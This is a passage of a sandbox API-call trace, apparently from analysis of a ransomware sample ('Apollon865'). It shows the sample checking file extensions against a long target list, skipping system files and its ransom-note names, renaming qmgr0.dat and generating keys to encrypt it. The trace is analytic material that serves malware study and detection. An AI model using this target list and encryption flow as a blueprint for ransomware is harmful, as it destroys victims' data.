	[0084.452] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1
	[0084.452] lstrlenW (lpString="gdb") returned 3
	[0084.452] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0084.452] lstrlenW (lpString="gdb") returned 3
	[0084.452] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1
	[0084.452] lstrlenW (lpString="grdb") returned 4
	[0084.452] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1
	[0084.452] lstrlenW (lpString="gwi") returned 3
	[0084.452] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1
	[0084.452] lstrlenW (lpString="hdb") returned 3
	[0084.452] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1
	[0084.452] lstrlenW (lpString="his") returned 3
	[0084.452] lstrcmpiW (lpString1="dat", lpString2="his") returned -1
	[0084.452] lstrlenW (lpString="ib") returned 2
	[0084.452] lstrcmpiW (lpString1="at", lpString2="ib") returned -1
	[0084.452] lstrlenW (lpString="idb") returned 3
	[0084.452] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1
	[0084.452] lstrlenW (lpString="ihx") returned 3
	[0084.452] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1
	[0084.452] lstrlenW (lpString="itdb") returned 4
	[0084.452] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1
	[0084.452] lstrlenW (lpString="itw") returned 3
	[0084.452] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1
	[0084.452] lstrlenW (lpString="jet") returned 3
	[0084.452] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1
	[0084.452] lstrlenW (lpString="jtx") returned 3
	[0084.452] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1
	[0084.452] lstrlenW (lpString="kdb") returned 3
	[0084.452] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1
	[0084.452] lstrlenW (lpString="kexi") returned 4
	[0084.453] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1
	[0084.453] lstrlenW (lpString="kexic") returned 5
	[0084.453] lstrcmpiW (lpString1="0.dat", lpString2="kexic") returned -1
	[0084.453] lstrlenW (lpString="kexis") returned 5
	[0084.453] lstrcmpiW (lpString1="0.dat", lpString2="kexis") returned -1
	[0084.453] lstrlenW (lpString="lgc") returned 3
	[0084.453] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1
	[0084.453] lstrlenW (lpString="lwx") returned 3
	[0084.453] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1
	[0084.453] lstrlenW (lpString="maf") returned 3
	[0084.453] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1
	[0084.453] lstrlenW (lpString="maq") returned 3
	[0084.453] lstrcmpiW (lpString1="dat", lpString2="maq") returned -1
	[0084.453] lstrlenW (lpString="mar") returned 3
	[0084.453] lstrcmpiW (lpString1="dat", lpString2="mar") returned -1
	[0084.453] lstrlenW (lpString="marshal") returned 7
	[0084.453] lstrcmpiW (lpString1="gr0.dat", lpString2="marshal") returned -1
	[0084.453] lstrlenW (lpString="mas") returned 3
	[0084.453] lstrcmpiW (lpString1="dat", lpString2="mas") returned -1
	[0084.453] lstrlenW (lpString="mav") returned 3
	[0084.453] lstrcmpiW (lpString1="dat", lpString2="mav") returned -1
	[0084.453] lstrlenW (lpString="maw") returned 3
	[0084.453] lstrcmpiW (lpString1="dat", lpString2="maw") returned -1
	[0084.453] lstrlenW (lpString="mdbhtml") returned 7
	[0084.453] lstrcmpiW (lpString1="gr0.dat", lpString2="mdbhtml") returned -1
	[0084.453] lstrlenW (lpString="mdn") returned 3
	[0084.453] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1
	[0084.453] lstrlenW (lpString="mdt") returned 3
	[0084.453] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1
	[0084.453] lstrlenW (lpString="mfd") returned 3
	[0084.453] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1
	[0084.453] lstrlenW (lpString="mpd") returned 3
	[0084.453] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1
	[0084.453] lstrlenW (lpString="mrg") returned 3
	[0084.453] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1
	[0084.453] lstrlenW (lpString="mud") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1
	[0084.454] lstrlenW (lpString="mwb") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1
	[0084.454] lstrlenW (lpString="myd") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1
	[0084.454] lstrlenW (lpString="ndf") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1
	[0084.454] lstrlenW (lpString="nnt") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1
	[0084.454] lstrlenW (lpString="nrmlib") returned 6
	[0084.454] lstrcmpiW (lpString1="r0.dat", lpString2="nrmlib") returned 1
	[0084.454] lstrlenW (lpString="ns2") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1
	[0084.454] lstrlenW (lpString="ns3") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1
	[0084.454] lstrlenW (lpString="ns4") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1
	[0084.454] lstrlenW (lpString="nsf") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1
	[0084.454] lstrlenW (lpString="nv") returned 2
	[0084.454] lstrcmpiW (lpString1="at", lpString2="nv") returned -1
	[0084.454] lstrlenW (lpString="nv2") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1
	[0084.454] lstrlenW (lpString="nwdb") returned 4
	[0084.454] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1
	[0084.454] lstrlenW (lpString="nyf") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1
	[0084.454] lstrlenW (lpString="odb") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0084.454] lstrlenW (lpString="odb") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1
	[0084.454] lstrlenW (lpString="oqy") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1
	[0084.454] lstrlenW (lpString="ora") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1
	[0084.454] lstrlenW (lpString="orx") returned 3
	[0084.454] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1
	[0084.455] lstrlenW (lpString="owc") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1
	[0084.455] lstrlenW (lpString="p96") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1
	[0084.455] lstrlenW (lpString="p97") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1
	[0084.455] lstrlenW (lpString="pan") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1
	[0084.455] lstrlenW (lpString="pdb") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1
	[0084.455] lstrlenW (lpString="pdm") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1
	[0084.455] lstrlenW (lpString="pnz") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1
	[0084.455] lstrlenW (lpString="qry") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1
	[0084.455] lstrlenW (lpString="qvd") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1
	[0084.455] lstrlenW (lpString="rbf") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1
	[0084.455] lstrlenW (lpString="rctd") returned 4
	[0084.455] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1
	[0084.455] lstrlenW (lpString="rod") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1
	[0084.455] lstrlenW (lpString="rodx") returned 4
	[0084.455] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1
	[0084.455] lstrlenW (lpString="rpd") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1
	[0084.455] lstrlenW (lpString="rsd") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1
	[0084.455] lstrlenW (lpString="sas7bdat") returned 8
	[0084.455] lstrcmpiW (lpString1="mgr0.dat", lpString2="sas7bdat") returned -1
	[0084.455] lstrlenW (lpString="sbf") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1
	[0084.455] lstrlenW (lpString="scx") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1
	[0084.455] lstrlenW (lpString="sdb") returned 3
	[0084.455] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1
	[0084.455] lstrlenW (lpString="sdc") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1
	[0084.456] lstrlenW (lpString="sdf") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1
	[0084.456] lstrlenW (lpString="sis") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1
	[0084.456] lstrlenW (lpString="spq") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1
	[0084.456] lstrlenW (lpString="te") returned 2
	[0084.456] lstrcmpiW (lpString1="at", lpString2="te") returned -1
	[0084.456] lstrlenW (lpString="teacher") returned 7
	[0084.456] lstrcmpiW (lpString1="gr0.dat", lpString2="teacher") returned -1
	[0084.456] lstrlenW (lpString="tmd") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1
	[0084.456] lstrlenW (lpString="tps") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1
	[0084.456] lstrlenW (lpString="trc") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0084.456] lstrlenW (lpString="trc") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1
	[0084.456] lstrlenW (lpString="trm") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1
	[0084.456] lstrlenW (lpString="udb") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1
	[0084.456] lstrlenW (lpString="udl") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1
	[0084.456] lstrlenW (lpString="usr") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1
	[0084.456] lstrlenW (lpString="v12") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1
	[0084.456] lstrlenW (lpString="vis") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1
	[0084.456] lstrlenW (lpString="vpd") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1
	[0084.456] lstrlenW (lpString="vvv") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1
	[0084.456] lstrlenW (lpString="wdb") returned 3
	[0084.456] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1
	[0084.457] lstrlenW (lpString="wmdb") returned 4
	[0084.457] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1
	[0084.457] lstrlenW (lpString="wrk") returned 3
	[0084.457] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1
	[0084.457] lstrlenW (lpString="xdb") returned 3
	[0084.457] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1
	[0084.457] lstrlenW (lpString="xld") returned 3
	[0084.457] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1
	[0084.457] lstrlenW (lpString="xmlff") returned 5
	[0084.457] lstrcmpiW (lpString1="0.dat", lpString2="xmlff") returned -1
	[0084.457] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat.Apollon865") returned 68
	[0084.457] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr0.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr0.dat.apollon865"), dwFlags=0x1) returned 1
	[0084.459] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\network\\downloader\\qmgr0.dat.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0084.460] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=4194304) returned 1
	[0084.460] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0084.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0084.461] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0084.461] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0084.462] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0084.462] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.462] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x400300, lpName=0x0) returned 0x15c
	[0084.463] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x300) returned 0x100000
	[0084.464] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x2bb0000
	[0084.575] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1
	[0084.596] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0084.597] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0084.597] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0084.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0084.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0084.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0084.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0084.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0084.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0084.597] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0084.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0084.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0084.597] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0084.597] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0084.597] CloseHandle (hObject=0x15c) returned 1
	[0084.597] CloseHandle (hObject=0x9c) returned 1
	[0084.598] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0084.598] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0084.598] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0084.607] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7606ea15, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x7606ea15, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0xdd404870, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x400000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="qmgr1.dat", cAlternateFileName="")) returned 1
	[0084.607] lstrcmpiW (lpString1="qmgr1.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0084.607] lstrcmpiW (lpString1="qmgr1.dat", lpString2="Apollon865.txt.exe") returned 1
	[0084.607] lstrcmpiW (lpString1="qmgr1.dat", lpString2=".") returned 1
	[0084.607] lstrcmpiW (lpString1="qmgr1.dat", lpString2="..") returned 1
	[0084.607] lstrcmpiW (lpString1="qmgr1.dat", lpString2="windows") returned -1
	[0084.607] lstrcmpiW (lpString1="qmgr1.dat", lpString2="bootmgr") returned 1
	[0084.607] lstrcmpiW (lpString1="qmgr1.dat", lpString2="temp") returned -1
	[0084.607] lstrcmpiW (lpString1="qmgr1.dat", lpString2="pagefile.sys") returned 1
	[0084.607] lstrcmpiW (lpString1="qmgr1.dat", lpString2="boot") returned 1
	[0084.607] lstrcmpiW (lpString1="qmgr1.dat", lpString2="ids.txt") returned 1
	[0084.607] lstrcmpiW (lpString1="qmgr1.dat", lpString2="ntuser.dat") returned 1
	[0084.607] lstrcmpiW (lpString1="qmgr1.dat", lpString2="perflogs") returned 1
	[0084.607] lstrcmpiW (lpString1="qmgr1.dat", lpString2="MSBuild") returned 1
	[0084.607] lstrlenW (lpString="qmgr1.dat") returned 9
	[0084.607] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Network\\Downloader\\qmgr0.dat") returned 57
	[0084.607] lstrcpyW (in: lpString1=0x119e668, lpString2="qmgr1.dat" | out: lpString1="qmgr1.dat") returned="qmgr1.dat"
	[0084.607] lstrlenW (lpString="qmgr1.dat") returned 9
	[0084.607] lstrlenW (lpString="Apollon865") returned 10
	[0084.607] lstrlenW (lpString=".dll") returned 4
	[0084.607] lstrcmpiW (lpString1="qmgr1.dat", lpString2=".dll") returned 1
	[0084.608] lstrlenW (lpString=".lnk") returned 4
	[0084.608] lstrcmpiW (lpString1="qmgr1.dat", lpString2=".lnk") returned 1
	[0084.608] lstrlenW (lpString=".ini") returned 4
	[0084.608] lstrcmpiW (lpString1="qmgr1.dat", lpString2=".ini") returned 1
	[0084.608] lstrlenW (lpString=".sys") returned 4
	[0084.608] lstrcmpiW (lpString1="qmgr1.dat", lpString2=".sys") returned 1
	[0084.608] lstrlenW (lpString="qmgr1.dat") returned 9
	[0084.608] lstrlenW (lpString="bak") returned 3
	[0084.608] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1
	[0084.608] lstrlenW (lpString="ba_") returned 3
	[0084.608] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1
	[0084.608] lstrlenW (lpString="dbb") returned 3
	[0084.608] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1
	[0084.608] lstrlenW (lpString="vmdk") returned 4
	[0084.608] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1
	[0084.608] lstrlenW (lpString="rar") returned 3
	[0084.608] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1
	[0084.608] lstrlenW (lpString="zip") returned 3
	[0084.608] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1
	[0084.608] lstrlenW (lpString="tgz") returned 3
	[0084.608] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1
	[0084.608] lstrlenW (lpString="vbox") returned 4
	[0084.608] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1
	[0084.608] lstrlenW (lpString="vdi") returned 3
	[0084.608] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1
	[0084.608] lstrlenW (lpString="vhd") returned 3
	[0084.608] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1
	[0084.608] lstrlenW (lpString="vhdx") returned 4
	[0084.608] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1
	[0084.608] lstrlenW (lpString="avhd") returned 4
	[0084.608] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1
	[0084.608] lstrlenW (lpString="db") returned 2
	[0084.608] lstrcmpiW (lpString1="at", lpString2="db") returned -1
	[0084.608] lstrlenW (lpString="db2") returned 3
	[0084.608] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1
	[0084.608] lstrlenW (lpString="db3") returned 3
	[0084.608] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1
	[0084.608] lstrlenW (lpString="dbf") returned 3
	[0084.609] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1
	[0084.609] lstrlenW (lpString="mdf") returned 3
	[0084.609] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1
	[0084.609] lstrlenW (lpString="mdb") returned 3
	[0084.609] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1
	[0084.609] lstrlenW (lpString="sql") returned 3
	[0084.609] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1
	[0084.609] lstrlenW (lpString="sqlite") returned 6
	[0084.609] lstrcmpiW (lpString1="r1.dat", lpString2="sqlite") returned -1
	[0084.609] lstrlenW (lpString="sqlite3") returned 7
	[0084.609] lstrcmpiW (lpString1="gr1.dat", lpString2="sqlite3") returned -1
	[0084.609] lstrlenW (lpString="sqlitedb") returned 8
	[0084.609] lstrcmpiW (lpString1="mgr1.dat", lpString2="sqlitedb") returned -1
	[0084.609] lstrlenW (lpString="xml") returned 3
	[0084.609] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1
	[0084.609] lstrlenW (lpString="$er") returned 3
	[0084.609] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1
	[0084.609] lstrlenW (lpString="4dd") returned 3
	[0084.609] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1
	[0084.609] lstrlenW (lpString="4dl") returned 3
	[0084.609] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1
	[0084.609] lstrlenW (lpString="^^^") returned 3
	[0084.609] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1
	[0084.609] lstrlenW (lpString="abs") returned 3
	[0084.609] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1
	[0084.609] lstrlenW (lpString="abx") returned 3
	[0084.609] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1
	[0084.609] lstrlenW (lpString="accdb") returned 5
	[0084.609] lstrcmpiW (lpString1="1.dat", lpString2="accdb") returned -1
	[0084.609] lstrlenW (lpString="accdc") returned 5
	[0084.609] lstrcmpiW (lpString1="1.dat", lpString2="accdc") returned -1
	[0084.609] lstrlenW (lpString="accde") returned 5
	[0084.609] lstrcmpiW (lpString1="1.dat", lpString2="accde") returned -1
	[0084.609] lstrlenW (lpString="accdr") returned 5
	[0084.609] lstrcmpiW (lpString1="1.dat", lpString2="accdr") returned -1
	[0084.609] lstrlenW (lpString="accdt") returned 5
	[0084.609] lstrcmpiW (lpString1="1.dat", lpString2="accdt") returned -1
	[0084.609] lstrlenW (lpString="accdw") returned 5
	[0084.610] lstrcmpiW (lpString1="1.dat", lpString2="accdw") returned -1
	[0084.610] lstrlenW (lpString="accft") returned 5
	[0084.610] lstrcmpiW (lpString1="1.dat", lpString2="accft") returned -1
	[0084.610] lstrlenW (lpString="adb") returned 3
	[0084.610] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0084.610] lstrlenW (lpString="adb") returned 3
	[0084.610] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1
	[0084.610] lstrlenW (lpString="ade") returned 3
	[0084.610] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1
	[0084.610] lstrlenW (lpString="adf") returned 3
	[0084.610] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1
	[0084.610] lstrlenW (lpString="adn") returned 3
	[0084.610] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1
	[0084.610] lstrlenW (lpString="adp") returned 3
	[0084.610] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1
	[0084.610] lstrlenW (lpString="alf") returned 3
	[0084.610] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1
	[0084.610] lstrlenW (lpString="ask") returned 3
	[0084.610] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1
	[0084.610] lstrlenW (lpString="btr") returned 3
	[0084.610] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1
	[0084.610] lstrlenW (lpString="cat") returned 3
	[0084.610] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1
	[0084.610] lstrlenW (lpString="cdb") returned 3
	[0084.610] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1
	[0084.610] lstrlenW (lpString="ckp") returned 3
	[0084.610] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1
	[0084.610] lstrlenW (lpString="cma") returned 3
	[0084.610] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1
	[0084.610] lstrlenW (lpString="cpd") returned 3
	[0084.610] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1
	[0084.610] lstrlenW (lpString="dacpac") returned 6
	[0084.610] lstrcmpiW (lpString1="r1.dat", lpString2="dacpac") returned 1
	[0084.610] lstrlenW (lpString="dad") returned 3
	[0084.610] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1
	[0084.610] lstrlenW (lpString="dadiagrams") returned 10
	[0084.610] lstrlenW (lpString="daschema") returned 8
	[0084.610] lstrcmpiW (lpString1="mgr1.dat", lpString2="daschema") returned 1
	[0084.611] lstrlenW (lpString="db-journal") returned 10
	[0084.611] lstrlenW (lpString="db-shm") returned 6
	[0084.611] lstrcmpiW (lpString1="r1.dat", lpString2="db-shm") returned 1
	[0084.611] lstrlenW (lpString="db-wal") returned 6
	[0084.611] lstrcmpiW (lpString1="r1.dat", lpString2="db-wal") returned 1
	[0084.611] lstrlenW (lpString="dbc") returned 3
	[0084.611] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1
	[0084.611] lstrlenW (lpString="dbs") returned 3
	[0084.611] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1
	[0084.611] lstrlenW (lpString="dbt") returned 3
	[0084.611] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1
	[0084.611] lstrlenW (lpString="dbv") returned 3
	[0084.611] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1
	[0084.611] lstrlenW (lpString="dbx") returned 3
	[0084.611] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1
	[0084.611] lstrlenW (lpString="dcb") returned 3
	[0084.611] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1
	[0084.611] lstrlenW (lpString="dct") returned 3
	[0084.611] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1
	[0084.611] lstrlenW (lpString="dcx") returned 3
	[0084.611] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1
	[0084.611] lstrlenW (lpString="ddl") returned 3
	[0084.611] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1
	[0084.611] lstrlenW (lpString="dlis") returned 4
	[0084.611] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1
	[0084.611] lstrlenW (lpString="dp1") returned 3
	[0084.611] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1
	[0084.611] lstrlenW (lpString="dqy") returned 3
	[0084.611] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1
	[0084.611] lstrlenW (lpString="dsk") returned 3
	[0084.611] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1
	[0084.611] lstrlenW (lpString="dsn") returned 3
	[0084.611] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1
	[0084.611] lstrlenW (lpString="dtsx") returned 4
	[0084.611] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1
	[0084.611] lstrlenW (lpString="dxl") returned 3
	[0084.611] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1
	[0084.611] lstrlenW (lpString="eco") returned 3
	[0084.612] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1
	[0084.612] lstrlenW (lpString="ecx") returned 3
	[0084.612] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1
	[0084.612] lstrlenW (lpString="edb") returned 3
	[0084.612] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1
	[0084.612] lstrlenW (lpString="epim") returned 4
	[0084.612] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1
	[0084.612] lstrlenW (lpString="fcd") returned 3
